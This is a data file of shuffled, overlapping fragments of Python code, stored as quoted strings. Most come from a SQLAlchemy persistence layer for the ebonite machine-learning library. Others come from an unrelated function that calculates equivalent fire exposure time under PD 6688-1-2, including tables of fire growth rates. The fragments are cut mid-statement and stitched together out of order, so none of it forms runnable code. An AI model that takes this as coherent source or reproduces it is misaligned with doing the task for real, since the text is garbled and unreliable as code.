"dict: return dict(id=environment.id, name=environment.name, author=environment.author, creation_date=environment.creation_date, params=dumps(environment.params)) class SRuntimeInstance(Base, Attaching): __tablename__ = 'instances'",
"relationship(\"STask\", back_populates=\"images\") environment_id = Column(Integer, ForeignKey('environments.id'), nullable=False) params = Column(Text) source = Column(Text)",
"= declarative_base() class SProject(Base, Attaching): __tablename__ = 'projects' id = Column(Integer, primary_key=True, autoincrement=True)",
"unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) params = Column(Text) def to_obj(self) ->",
"@abstractmethod def get_kwargs(cls, obj: T) -> dict: pass # pragma: no cover @abstractmethod",
"author=self.author, creation_date=self.creation_date, id=self.id, task_id=self.task_id, params=safe_loads(self.params, Image.Params), source=safe_loads(self.source, Buildable), environment_id=self.environment_id) return self.attach(image) @classmethod def",
"Column(Integer, ForeignKey('environments.id'), nullable=False) params = Column(Text) __table_args__ = (UniqueConstraint('name', 'image_id', 'environment_id', name='instance_name_and_ref'),) def",
"to_obj(self) -> RuntimeInstance: instance = RuntimeInstance( name=self.name, author=self.author, creation_date=self.creation_date, id=self.id, image_id=self.image_id, environment_id=self.environment_id, params=safe_loads(self.params,",
"existing return cls(**kwargs) @classmethod @abstractmethod def get_kwargs(cls, obj: T) -> dict: pass #",
"source=dumps(image.source), environment_id=image.environment_id) class SRuntimeEnvironment(Base, Attaching): __tablename__ = 'environments' id = Column(Integer, primary_key=True, autoincrement=True)",
"unique=False, nullable=False) project_id = Column(Integer, ForeignKey('projects.id'), nullable=False) project = relationship(\"SProject\", back_populates=\"tasks\") models: Iterable['SModel']",
"dict: return dict(id=pipeline.id, name=pipeline.name, author=pipeline.author, creation_date=pipeline.creation_date, steps=dumps(pipeline.steps), input_data=dumps(pipeline.input_data), output_data=dumps(pipeline.output_data), task_id=pipeline.task_id, evaluations=dumps(pipeline.evaluations)) class SImage(Base,",
"= Column(Integer, ForeignKey('environments.id'), nullable=False) params = Column(Text) source = Column(Text) __table_args__ = (UniqueConstraint('name',",
"params=dumps(environment.params)) class SRuntimeInstance(Base, Attaching): __tablename__ = 'instances' id = Column(Integer, primary_key=True, autoincrement=True) name",
"__table_args__ = (UniqueConstraint('name', 'project_id', name='tasks_name_and_ref'),) def to_obj(self) -> Task: task = Task(id=self.id, name=self.name,",
"return dict(id=task.id, name=task.name, author=task.author, creation_date=task.creation_date, project_id=task.project_id, models=[SModel.from_obj(m) for m in task.models.values()], images=[SImage.from_obj(i) for",
"self.attach(pipeline) @classmethod def get_kwargs(cls, pipeline: Pipeline) -> dict: return dict(id=pipeline.id, name=pipeline.name, author=pipeline.author, creation_date=pipeline.creation_date,",
"RuntimeInstance: instance = RuntimeInstance( name=self.name, author=self.author, creation_date=self.creation_date, id=self.id, image_id=self.image_id, environment_id=self.environment_id, params=safe_loads(self.params, RuntimeInstance.Params)) return",
"ebonite.core.objects import DatasetType from ebonite.core.objects.artifacts import ArtifactCollection from ebonite.core.objects.core import (Buildable, EvaluationResults, EvaluationSet,",
"dict: pass # pragma: no cover @abstractmethod def to_obj(self) -> T: pass #",
"def get_kwargs(cls, image: Image) -> dict: return dict(id=image.id, name=image.name, author=image.author, creation_date=image.creation_date, task_id=image.task_id, params=dumps(image.params),",
"-> RuntimeInstance: instance = RuntimeInstance( name=self.name, author=self.author, creation_date=self.creation_date, id=self.id, image_id=self.image_id, environment_id=self.environment_id, params=safe_loads(self.params, RuntimeInstance.Params))",
"ArtifactCollection from ebonite.core.objects.core import (Buildable, EvaluationResults, EvaluationSet, Image, Model, Pipeline, PipelineStep, Project, RuntimeEnvironment,",
"= relationship(\"SProject\", back_populates=\"tasks\") models: Iterable['SModel'] = relationship(\"SModel\", back_populates=\"task\") pipelines: Iterable['SPipeline'] = relationship(\"SPipeline\", back_populates='task')",
"dict: return dict(id=project.id, name=project.name, author=project.author, creation_date=project.creation_date, tasks=[STask.from_obj(t) for t in project.tasks.values()]) class STask(Base,",
"-> Task: task = Task(id=self.id, name=self.name, author=self.author, creation_date=self.creation_date, project_id=self.project_id, datasets=safe_loads(self.datasets, Dict[str, DatasetSource]), metrics=safe_loads(self.metrics,",
"id=self.id, task_id=self.task_id, evaluations=safe_loads(self.evaluations, Dict[str, EvaluationResults])) return self.attach(model) @classmethod def get_kwargs(cls, model: Model) ->",
"id=self.id, author=self.author, creation_date=self.creation_date) for task in self.tasks: p._tasks.add(task.to_obj()) return self.attach(p) @classmethod def get_kwargs(cls,",
"input_data=dumps(pipeline.input_data), output_data=dumps(pipeline.output_data), task_id=pipeline.task_id, evaluations=dumps(pipeline.evaluations)) class SImage(Base, Attaching): __tablename__ = 'images' id = Column(Integer,",
"environment = RuntimeEnvironment( name=self.name, author=self.author, creation_date=self.creation_date, id=self.id, params=safe_loads(self.params, RuntimeEnvironment.Params)) return self.attach(environment) @classmethod def",
"Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) wrapper = Column(Text) artifact =",
"pragma: no cover @abstractmethod def to_obj(self) -> T: pass # pragma: no cover",
"nullable=False) task = relationship(\"STask\", back_populates=\"pipelines\") evaluations = Column(Text) __table_args__ = (UniqueConstraint('name', 'task_id', name='pipelines_name_and_ref'),)",
"loads(payload, Optional[as_class]) def sqlobject(obj): return getattr(obj, SQL_OBJECT_FIELD, None) def update_attrs(obj, **attrs): for name,",
"'images' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=False, nullable=False) author =",
"kwargs = cls.get_kwargs(obj) existing = sqlobject(obj) if not new and existing is not",
"params = Column(Text) source = Column(Text) __table_args__ = (UniqueConstraint('name', 'task_id', name='image_name_and_ref'),) def to_obj(self)",
"TypeVar('T') S = TypeVar('S', bound='Attaching') class Attaching: id = ... name = ...",
"artifact=safe_loads(self.artifact, ArtifactCollection), requirements=safe_loads(self.requirements, Requirements), description=self.description, params=safe_loads(self.params, Dict[str, Any]), id=self.id, task_id=self.task_id, evaluations=safe_loads(self.evaluations, Dict[str, EvaluationResults]))",
"Column(Text) __table_args__ = (UniqueConstraint('name', 'project_id', name='tasks_name_and_ref'),) def to_obj(self) -> Task: task = Task(id=self.id,",
"i in task.images.values()], pipelines=[SPipeline.from_obj(p) for p in task.pipelines.values()], datasets=dumps(task.datasets), metrics=dumps(task.metrics), evaluation_sets=dumps(task.evaluation_sets)) class SModel(Base,",
"safe_loads(payload, as_class): return loads(payload, Optional[as_class]) def sqlobject(obj): return getattr(obj, SQL_OBJECT_FIELD, None) def update_attrs(obj,",
"self.attach(task) @classmethod def get_kwargs(cls, task: Task) -> dict: return dict(id=task.id, name=task.name, author=task.author, creation_date=task.creation_date,",
"get_kwargs(cls, obj: T) -> dict: pass # pragma: no cover @abstractmethod def to_obj(self)",
"unique=True, nullable=False) author = Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) tasks:",
"nullable=False) image_id = Column(Integer, ForeignKey('images.id'), nullable=False) environment_id = Column(Integer, ForeignKey('environments.id'), nullable=False) params =",
"'task_id', name='models_name_and_ref'),) def to_obj(self) -> Model: model = Model(name=self.name, wrapper_meta=safe_loads(self.wrapper, dict), author=self.author, creation_date=self.creation_date,",
"nullable=False) project_id = Column(Integer, ForeignKey('projects.id'), nullable=False) project = relationship(\"SProject\", back_populates=\"tasks\") models: Iterable['SModel'] =",
"evaluation_sets = Column(Text) __table_args__ = (UniqueConstraint('name', 'project_id', name='tasks_name_and_ref'),) def to_obj(self) -> Task: task",
"nullable=False) author = Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) wrapper =",
"Image(name=self.name, author=self.author, creation_date=self.creation_date, id=self.id, task_id=self.task_id, params=safe_loads(self.params, Image.Params), source=safe_loads(self.source, Buildable), environment_id=self.environment_id) return self.attach(image) @classmethod",
"dict: return dict(id=model.id, name=model.name, author=model.author, creation_date=model.creation_date, wrapper=dumps(model.wrapper_meta), artifact=dumps(model.artifact), requirements=dumps(model.requirements), description=model.description, params=dumps(model.params), task_id=model.task_id, evaluations=dumps(model.evaluations))",
"Column(Text) source = Column(Text) __table_args__ = (UniqueConstraint('name', 'task_id', name='image_name_and_ref'),) def to_obj(self) -> Image:",
"output_data = Column(Text) task_id = Column(Integer, ForeignKey('tasks.id'), nullable=False) task = relationship(\"STask\", back_populates=\"pipelines\") evaluations",
"Dict[str, DatasetSource]), metrics=safe_loads(self.metrics, Dict[str, Metric]), evaluation_sets=safe_loads(self.evaluation_sets, Dict[str, EvaluationSet])) for model in self.models: task._models.add(model.to_obj())",
"from pyjackson import dumps, loads from sqlalchemy import Column, DateTime, ForeignKey, Integer, String,",
"nullable=False) steps = Column(Text) input_data = Column(Text) output_data = Column(Text) task_id = Column(Integer,",
"pragma: no cover Base = declarative_base() class SProject(Base, Attaching): __tablename__ = 'projects' id",
"creation_date = Column(DateTime, unique=False, nullable=False) wrapper = Column(Text) artifact = Column(Text) requirements =",
"task_id=self.task_id, evaluations=safe_loads(self.evaluations, EvaluationResults)) return self.attach(pipeline) @classmethod def get_kwargs(cls, pipeline: Pipeline) -> dict: return",
"Column(String, unique=False, nullable=False) author = Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False)",
"= Task(id=self.id, name=self.name, author=self.author, creation_date=self.creation_date, project_id=self.project_id, datasets=safe_loads(self.datasets, Dict[str, DatasetSource]), metrics=safe_loads(self.metrics, Dict[str, Metric]), evaluation_sets=safe_loads(self.evaluation_sets,",
"Column(Text) artifact = Column(Text) requirements = Column(Text) description = Column(Text) params = Column(Text)",
"= Column(Text) input_data = Column(Text) output_data = Column(Text) task_id = Column(Integer, ForeignKey('tasks.id'), nullable=False)",
"relationship(\"SImage\", back_populates='task') datasets = Column(Text) metrics = Column(Text) evaluation_sets = Column(Text) __table_args__ =",
"Attaching): __tablename__ = 'models' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=False,",
"update_attrs(obj, **attrs): for name, value in attrs.items(): setattr(obj, name, value) T = TypeVar('T')",
"Metric]), evaluation_sets=safe_loads(self.evaluation_sets, Dict[str, EvaluationSet])) for model in self.models: task._models.add(model.to_obj()) for pipeline in self.pipelines:",
"task = relationship(\"STask\", back_populates=\"pipelines\") evaluations = Column(Text) __table_args__ = (UniqueConstraint('name', 'task_id', name='pipelines_name_and_ref'),) def",
"self.attach(model) @classmethod def get_kwargs(cls, model: Model) -> dict: return dict(id=model.id, name=model.name, author=model.author, creation_date=model.creation_date,",
"creation_date = Column(DateTime, unique=False, nullable=False) tasks: Iterable['STask'] = relationship(\"STask\", back_populates=\"project\") def to_obj(self) ->",
"def from_obj(cls: Type[S], obj: T, new=False) -> S: kwargs = cls.get_kwargs(obj) existing =",
"creation_date = Column(DateTime, unique=False, nullable=False) task_id = Column(Integer, ForeignKey('tasks.id'), nullable=False) task = relationship(\"STask\",",
"declarative_base() class SProject(Base, Attaching): __tablename__ = 'projects' id = Column(Integer, primary_key=True, autoincrement=True) name",
"= Project(self.name, id=self.id, author=self.author, creation_date=self.creation_date) for task in self.tasks: p._tasks.add(task.to_obj()) return self.attach(p) @classmethod",
"Attaching: id = ... name = ... def attach(self, obj): setattr(obj, SQL_OBJECT_FIELD, self)",
"= Column(DateTime, unique=False, nullable=False) steps = Column(Text) input_data = Column(Text) output_data = Column(Text)",
"= relationship(\"SModel\", back_populates=\"task\") pipelines: Iterable['SPipeline'] = relationship(\"SPipeline\", back_populates='task') images: Iterable['SImage'] = relationship(\"SImage\", back_populates='task')",
"dict(id=task.id, name=task.name, author=task.author, creation_date=task.creation_date, project_id=task.project_id, models=[SModel.from_obj(m) for m in task.models.values()], images=[SImage.from_obj(i) for i",
"Task) -> dict: return dict(id=task.id, name=task.name, author=task.author, creation_date=task.creation_date, project_id=task.project_id, models=[SModel.from_obj(m) for m in",
"return loads(payload, Optional[as_class]) def sqlobject(obj): return getattr(obj, SQL_OBJECT_FIELD, None) def update_attrs(obj, **attrs): for",
"Project(self.name, id=self.id, author=self.author, creation_date=self.creation_date) for task in self.tasks: p._tasks.add(task.to_obj()) return self.attach(p) @classmethod def",
"def get_kwargs(cls, project: Project) -> dict: return dict(id=project.id, name=project.name, author=project.author, creation_date=project.creation_date, tasks=[STask.from_obj(t) for",
"Column(Text) __table_args__ = (UniqueConstraint('name', 'task_id', name='models_name_and_ref'),) def to_obj(self) -> Model: model = Model(name=self.name,",
"(Buildable, EvaluationResults, EvaluationSet, Image, Model, Pipeline, PipelineStep, Project, RuntimeEnvironment, RuntimeInstance, Task) from ebonite.core.objects.dataset_source",
"ForeignKey('projects.id'), nullable=False) project = relationship(\"SProject\", back_populates=\"tasks\") models: Iterable['SModel'] = relationship(\"SModel\", back_populates=\"task\") pipelines: Iterable['SPipeline']",
"project.tasks.values()]) class STask(Base, Attaching): __tablename__ = 'tasks' id = Column(Integer, primary_key=True, autoincrement=True) name",
"Iterable['SModel'] = relationship(\"SModel\", back_populates=\"task\") pipelines: Iterable['SPipeline'] = relationship(\"SPipeline\", back_populates='task') images: Iterable['SImage'] = relationship(\"SImage\",",
"T: pass # pragma: no cover Base = declarative_base() class SProject(Base, Attaching): __tablename__",
"nullable=False) task = relationship(\"STask\", back_populates=\"models\") evaluations = Column(Text) __table_args__ = (UniqueConstraint('name', 'task_id', name='models_name_and_ref'),)",
"Column(Text) evaluation_sets = Column(Text) __table_args__ = (UniqueConstraint('name', 'project_id', name='tasks_name_and_ref'),) def to_obj(self) -> Task:",
"Model: model = Model(name=self.name, wrapper_meta=safe_loads(self.wrapper, dict), author=self.author, creation_date=self.creation_date, artifact=safe_loads(self.artifact, ArtifactCollection), requirements=safe_loads(self.requirements, Requirements), description=self.description,",
"input_data=safe_loads(self.input_data, DatasetType), output_data=safe_loads(self.output_data, DatasetType), author=self.author, creation_date=self.creation_date, id=self.id, task_id=self.task_id, evaluations=safe_loads(self.evaluations, EvaluationResults)) return self.attach(pipeline) @classmethod",
"author = Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) tasks: Iterable['STask'] =",
"Image: image = Image(name=self.name, author=self.author, creation_date=self.creation_date, id=self.id, task_id=self.task_id, params=safe_loads(self.params, Image.Params), source=safe_loads(self.source, Buildable), environment_id=self.environment_id)",
"= Model(name=self.name, wrapper_meta=safe_loads(self.wrapper, dict), author=self.author, creation_date=self.creation_date, artifact=safe_loads(self.artifact, ArtifactCollection), requirements=safe_loads(self.requirements, Requirements), description=self.description, params=safe_loads(self.params, Dict[str,",
"def to_obj(self) -> T: pass # pragma: no cover Base = declarative_base() class",
"Attaching): __tablename__ = 'projects' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=True,",
"= relationship(\"STask\", back_populates=\"models\") evaluations = Column(Text) __table_args__ = (UniqueConstraint('name', 'task_id', name='models_name_and_ref'),) def to_obj(self)",
"= Column(DateTime, unique=False, nullable=False) tasks: Iterable['STask'] = relationship(\"STask\", back_populates=\"project\") def to_obj(self) -> Project:",
"= Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) project_id = Column(Integer, ForeignKey('projects.id'),",
"Attaching): __tablename__ = 'tasks' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=False,",
"for image in self.images: task._images.add(image.to_obj()) return self.attach(task) @classmethod def get_kwargs(cls, task: Task) ->",
"dict: return dict(id=image.id, name=image.name, author=image.author, creation_date=image.creation_date, task_id=image.task_id, params=dumps(image.params), source=dumps(image.source), environment_id=image.environment_id) class SRuntimeEnvironment(Base, Attaching):",
"project_id=self.project_id, datasets=safe_loads(self.datasets, Dict[str, DatasetSource]), metrics=safe_loads(self.metrics, Dict[str, Metric]), evaluation_sets=safe_loads(self.evaluation_sets, Dict[str, EvaluationSet])) for model in",
"tasks=[STask.from_obj(t) for t in project.tasks.values()]) class STask(Base, Attaching): __tablename__ = 'tasks' id =",
"'_sqlalchemy_object' def json_column(): return Column(Text) def safe_loads(payload, as_class): return loads(payload, Optional[as_class]) def sqlobject(obj):",
"ForeignKey('environments.id'), nullable=False) params = Column(Text) __table_args__ = (UniqueConstraint('name', 'image_id', 'environment_id', name='instance_name_and_ref'),) def to_obj(self)",
"back_populates=\"tasks\") models: Iterable['SModel'] = relationship(\"SModel\", back_populates=\"task\") pipelines: Iterable['SPipeline'] = relationship(\"SPipeline\", back_populates='task') images: Iterable['SImage']",
"UniqueConstraint from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import relationship from ebonite.core.objects import DatasetType",
"import Metric from ebonite.core.objects.requirements import Requirements SQL_OBJECT_FIELD = '_sqlalchemy_object' def json_column(): return Column(Text)",
"params=dumps(model.params), task_id=model.task_id, evaluations=dumps(model.evaluations)) class SPipeline(Base, Attaching): __tablename__ = 'pipelines' id = Column(Integer, primary_key=True,",
"environment_id=self.environment_id) return self.attach(image) @classmethod def get_kwargs(cls, image: Image) -> dict: return dict(id=image.id, name=image.name,",
"= 'instances' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=False, nullable=False) author",
"project: Project) -> dict: return dict(id=project.id, name=project.name, author=project.author, creation_date=project.creation_date, tasks=[STask.from_obj(t) for t in",
"@classmethod def get_kwargs(cls, image: Image) -> dict: return dict(id=image.id, name=image.name, author=image.author, creation_date=image.creation_date, task_id=image.task_id,",
"pipeline = Pipeline(name=self.name, steps=safe_loads(self.steps, List[PipelineStep]), input_data=safe_loads(self.input_data, DatasetType), output_data=safe_loads(self.output_data, DatasetType), author=self.author, creation_date=self.creation_date, id=self.id, task_id=self.task_id,",
"nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) steps = Column(Text) input_data = Column(Text) output_data",
"for m in task.models.values()], images=[SImage.from_obj(i) for i in task.images.values()], pipelines=[SPipeline.from_obj(p) for p in",
"Model(name=self.name, wrapper_meta=safe_loads(self.wrapper, dict), author=self.author, creation_date=self.creation_date, artifact=safe_loads(self.artifact, ArtifactCollection), requirements=safe_loads(self.requirements, Requirements), description=self.description, params=safe_loads(self.params, Dict[str, Any]),",
"Column(Integer, ForeignKey('projects.id'), nullable=False) project = relationship(\"SProject\", back_populates=\"tasks\") models: Iterable['SModel'] = relationship(\"SModel\", back_populates=\"task\") pipelines:",
"if not new and existing is not None: update_attrs(existing, **kwargs) return existing return",
"cover @abstractmethod def to_obj(self) -> T: pass # pragma: no cover Base =",
"unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) task_id = Column(Integer, ForeignKey('tasks.id'), nullable=False) task",
"and existing is not None: update_attrs(existing, **kwargs) return existing return cls(**kwargs) @classmethod @abstractmethod",
"SQL_OBJECT_FIELD, self) return obj @classmethod def from_obj(cls: Type[S], obj: T, new=False) -> S:",
"back_populates=\"task\") pipelines: Iterable['SPipeline'] = relationship(\"SPipeline\", back_populates='task') images: Iterable['SImage'] = relationship(\"SImage\", back_populates='task') datasets =",
"S = TypeVar('S', bound='Attaching') class Attaching: id = ... name = ... def",
"steps=dumps(pipeline.steps), input_data=dumps(pipeline.input_data), output_data=dumps(pipeline.output_data), task_id=pipeline.task_id, evaluations=dumps(pipeline.evaluations)) class SImage(Base, Attaching): __tablename__ = 'images' id =",
"name = Column(String, unique=False, nullable=False) author = Column(String, unique=False, nullable=False) creation_date = Column(DateTime,",
"Column(Text) input_data = Column(Text) output_data = Column(Text) task_id = Column(Integer, ForeignKey('tasks.id'), nullable=False) task",
"return self.attach(environment) @classmethod def get_kwargs(cls, environment: RuntimeEnvironment) -> dict: return dict(id=environment.id, name=environment.name, author=environment.author,",
"-> dict: return dict(id=task.id, name=task.name, author=task.author, creation_date=task.creation_date, project_id=task.project_id, models=[SModel.from_obj(m) for m in task.models.values()],",
"self.tasks: p._tasks.add(task.to_obj()) return self.attach(p) @classmethod def get_kwargs(cls, project: Project) -> dict: return dict(id=project.id,",
"= relationship(\"STask\", back_populates=\"images\") environment_id = Column(Integer, ForeignKey('environments.id'), nullable=False) params = Column(Text) source =",
"Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) image_id = Column(Integer, ForeignKey('images.id'), nullable=False)",
"class SModel(Base, Attaching): __tablename__ = 'models' id = Column(Integer, primary_key=True, autoincrement=True) name =",
"metrics = Column(Text) evaluation_sets = Column(Text) __table_args__ = (UniqueConstraint('name', 'project_id', name='tasks_name_and_ref'),) def to_obj(self)",
"= Column(Text) description = Column(Text) params = Column(Text) task_id = Column(Integer, ForeignKey('tasks.id'), nullable=False)",
"ForeignKey('environments.id'), nullable=False) params = Column(Text) source = Column(Text) __table_args__ = (UniqueConstraint('name', 'task_id', name='image_name_and_ref'),)",
"nullable=False) tasks: Iterable['STask'] = relationship(\"STask\", back_populates=\"project\") def to_obj(self) -> Project: p = Project(self.name,",
"unique=False, nullable=False) author = Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) steps",
"back_populates=\"project\") def to_obj(self) -> Project: p = Project(self.name, id=self.id, author=self.author, creation_date=self.creation_date) for task",
"pipelines: Iterable['SPipeline'] = relationship(\"SPipeline\", back_populates='task') images: Iterable['SImage'] = relationship(\"SImage\", back_populates='task') datasets = Column(Text)",
"nullable=False) author = Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) task_id =",
"creation_date=task.creation_date, project_id=task.project_id, models=[SModel.from_obj(m) for m in task.models.values()], images=[SImage.from_obj(i) for i in task.images.values()], pipelines=[SPipeline.from_obj(p)",
"task_id=self.task_id, evaluations=safe_loads(self.evaluations, Dict[str, EvaluationResults])) return self.attach(model) @classmethod def get_kwargs(cls, model: Model) -> dict:",
"abstractmethod from typing import Any, Dict, Iterable, List, Optional, Type, TypeVar from pyjackson",
"def get_kwargs(cls, pipeline: Pipeline) -> dict: return dict(id=pipeline.id, name=pipeline.name, author=pipeline.author, creation_date=pipeline.creation_date, steps=dumps(pipeline.steps), input_data=dumps(pipeline.input_data),",
"task in self.tasks: p._tasks.add(task.to_obj()) return self.attach(p) @classmethod def get_kwargs(cls, project: Project) -> dict:",
"return getattr(obj, SQL_OBJECT_FIELD, None) def update_attrs(obj, **attrs): for name, value in attrs.items(): setattr(obj,",
"task_id = Column(Integer, ForeignKey('tasks.id'), nullable=False) task = relationship(\"STask\", back_populates=\"models\") evaluations = Column(Text) __table_args__",
"def to_obj(self) -> Model: model = Model(name=self.name, wrapper_meta=safe_loads(self.wrapper, dict), author=self.author, creation_date=self.creation_date, artifact=safe_loads(self.artifact, ArtifactCollection),",
"def to_obj(self) -> Task: task = Task(id=self.id, name=self.name, author=self.author, creation_date=self.creation_date, project_id=self.project_id, datasets=safe_loads(self.datasets, Dict[str,"
] |
[
"A_vh=0, A_vv=235.2, delta_h=2) >>> print(annex_b_equivalent_time_of_fire_exposure(**kwargs)) >>> 74.27814882871894 \"\"\" # B.1 # Design fire",
"k_b, A_f, H, A_vh, A_vv, delta_h ): \"\"\"Calculates time equivalence of standard fire",
"A.5 - Heat release rate per unit area of fire for different occupancies",
">>> kwargs = dict(q_fk=900, delta_1=0.61, m=1, k_b=0.09, H=4, A_f=856.5, A_vh=0, A_vv=235.2, delta_h=2) >>>",
"= A_vh / A_f # just a factor b_v = ( 12.5 *",
"* w_f * delta_h if __name__ == \"__main__\": input_params = dict( q_fk=900, delta_1=0.61,",
"travel | Slow | | Classroom (school) | Medium | | Dwelling |",
"or plant room | Ultra-fast | Table A.5 - Heat release rate per",
"Office | Medium | | Hotel reception | Medium | | Hotel bedroom",
"| 550 | | | | Offices | 290 | | | |",
"\"__main__\": input_params = dict( q_fk=900, delta_1=0.61, m=1, k_b=0.09, H=4, A_f=856.5, A_vh=0, A_vv=235.2, delta_h=2,",
"of the compartment :param A_vh: [m2] Horizontal area :param A_vv: [m2] Vertical area",
"Annex B IAN FU 12 APRIL 2019 :param q_fk: [MJ/m2] Fire load density",
"q_fd = q_fk * delta_1 * m # B.2 # Vertical opening factor",
"Dwelling | Medium | | Office | Medium | | Hotel reception |",
"for different occupancies (from PD 7974-1:2003) | OCCUPANCY | HEAT RELEASE RATE PER",
"delta_1=0.61, m=1, k_b=0.09, H=4, A_f=856.5, A_vh=0, A_vv=235.2, delta_h=2, ) input_params = dict( q_fk=900,",
"print(annex_b_equivalent_time_of_fire_exposure(**kwargs)) >>> 74.27814882871894 \"\"\" # B.1 # Design fire load [MJ/m2] q_fd =",
"suppression factor :param m: Combustion factor :param k_b: Conversion factor :param A_f: [m2]",
"b_v * alpha_h)) w_f = w_f if A_f >= 100 else np.nan return",
"Floor area of the compartment :param H: [m] Height of the compartment :param",
"Heat release rate per unit area of fire for different occupancies (from PD",
"rate per unit area of fire for different occupancies (from PD 7974-1:2003) |",
"dict( q_fk=900, delta_1=0.61, m=1, k_b=0.09, H=4, A_f=856.5, A_vh=0, A_vv=235.2, delta_h=2, ) input_params =",
"[MJ/m2] Fire load density :param delta_1: Active suppression factor :param m: Combustion factor",
"equivalence of standard fire exposure in accordance with PD 6688-1-2 Annex B IAN",
"(from PD 7974-1:2003, Table 3) | BUILDING | USE | |------------------------------------------------------------------|------------| | Picture",
"Medium | | Hotel bedroom | Medium | | Hospital room | Medium",
"90 * (0.4 - alpha_v) ** 4) / (1 + b_v * alpha_h))",
"Hotel reception | Medium | | Hotel bedroom | Medium | | Hospital",
"| | | EXAMPLE: >>> kwargs = dict(q_fk=900, delta_1=0.61, m=1, k_b=0.09, H=4, A_f=856.5,",
"| | Hotel reception | Medium | | Hotel bedroom | Medium |",
"** 2) if (12.5 * (1 + 10 * alpha_v - alpha_v **",
"100 else np.nan return q_fd * k_b * w_f * delta_h if __name__",
"Height of the compartment :param A_vh: [m2] Horizontal area :param A_vv: [m2] Vertical",
"| | Classroom (school) | Medium | | Dwelling | Medium | |",
"|-------------|---------------------------------|---------------|---| | Shops | 550 | | | | Offices | 290 |",
") # total ventilation factor w_f = ((6 / H) ** 0.3) *",
"Fire load density :param delta_1: Active suppression factor :param m: Combustion factor :param",
"exposure SUPPLEMENT INFO: Table A.4 - Design fire growth rates (from PD 7974-1:2003,",
"[m] Height of the compartment :param A_vh: [m2] Horizontal area :param A_vv: [m2]",
"* delta_h if __name__ == \"__main__\": input_params = dict( q_fk=900, delta_1=0.61, m=1, k_b=0.09,",
"| Medium | | Hospital room | Medium | | Library | Fast",
"PER UNIT AREA | $Q''$ [kW/m2] | | |-------------|---------------------------------|---------------|---| | Shops | 550",
"dict( q_fk=900, delta_1=1.0, m=1, k_b=0.09, H=4, A_f=877, A_vh=0, A_vv=98.35, delta_h=2, ) res =",
"time equivalence of standard fire exposure in accordance with PD 6688-1-2 Annex B",
"| Shops | 550 | | | | Offices | 290 | |",
"Table A.4 - Design fire growth rates (from PD 7974-1:2003, Table 3) |",
"| | EXAMPLE: >>> kwargs = dict(q_fk=900, delta_1=0.61, m=1, k_b=0.09, H=4, A_f=856.5, A_vh=0,",
"2) if (12.5 * (1 + 10 * alpha_v - alpha_v ** 2))",
"area :param delta_h: Height factor :return: Equivalent time exposure SUPPLEMENT INFO: Table A.4",
"| Slow | | Passenger stations and termini for air_ rail_ road or",
"(school) | Medium | | Dwelling | Medium | | Office | Medium",
"H) ** 0.3) * ((0.62 + 90 * (0.4 - alpha_v) ** 4)",
"12.5 * (1 + 10 * alpha_v - alpha_v ** 2) if (12.5",
"| OCCUPANCY | HEAT RELEASE RATE PER UNIT AREA | $Q''$ [kW/m2] |",
"Medium | | Hospital room | Medium | | Library | Fast |",
"86-620 | | | EXAMPLE: >>> kwargs = dict(q_fk=900, delta_1=0.61, m=1, k_b=0.09, H=4,",
"bedroom | Medium | | Hospital room | Medium | | Library |",
"* m # B.2 # Vertical opening factor alpha_v = min([max([A_vv / A_f,",
"A_vv, delta_h ): \"\"\"Calculates time equivalence of standard fire exposure in accordance with",
"m # B.2 # Vertical opening factor alpha_v = min([max([A_vv / A_f, 0.025]),",
"/ A_f # just a factor b_v = ( 12.5 * (1 +",
"Design fire growth rates (from PD 7974-1:2003, Table 3) | BUILDING | USE",
"* (0.4 - alpha_v) ** 4) / (1 + b_v * alpha_h)) w_f",
"delta_1: Active suppression factor :param m: Combustion factor :param k_b: Conversion factor :param",
"stations and termini for air_ rail_ road or sea travel | Slow |",
"Classroom (school) | Medium | | Dwelling | Medium | | Office |",
"| BUILDING | USE | |------------------------------------------------------------------|------------| | Picture gallery | Slow | |",
"in accordance with PD 6688-1-2 Annex B IAN FU 12 APRIL 2019 :param",
"- alpha_v ** 2) if (12.5 * (1 + 10 * alpha_v -",
"| Library | Fast | | Theatre (cinema) | Fast | | Shop",
"Ultra-fast | Table A.5 - Heat release rate per unit area of fire",
"room | Ultra-fast | Table A.5 - Heat release rate per unit area",
"[m2] Horizontal area :param A_vv: [m2] Vertical area :param delta_h: Height factor :return:",
"( 12.5 * (1 + 10 * alpha_v - alpha_v ** 2) if",
"550 | | | | Offices | 290 | | | | Hotel",
"* k_b * w_f * delta_h if __name__ == \"__main__\": input_params = dict(",
"q_fk=900, delta_1=0.61, m=1, k_b=0.09, H=4, A_f=856.5, A_vh=0, A_vv=235.2, delta_h=2, ) input_params = dict(",
"delta_1 * m # B.2 # Vertical opening factor alpha_v = min([max([A_vv /",
"alpha_h = A_vh / A_f # just a factor b_v = ( 12.5",
"dict(q_fk=900, delta_1=0.61, m=1, k_b=0.09, H=4, A_f=856.5, A_vh=0, A_vv=235.2, delta_h=2) >>> print(annex_b_equivalent_time_of_fire_exposure(**kwargs)) >>> 74.27814882871894",
"6688-1-2 Annex B IAN FU 12 APRIL 2019 :param q_fk: [MJ/m2] Fire load",
"- alpha_v ** 2)) >= 10 else np.nan ) # total ventilation factor",
":param delta_1: Active suppression factor :param m: Combustion factor :param k_b: Conversion factor",
"m, k_b, A_f, H, A_vh, A_vv, delta_h ): \"\"\"Calculates time equivalence of standard",
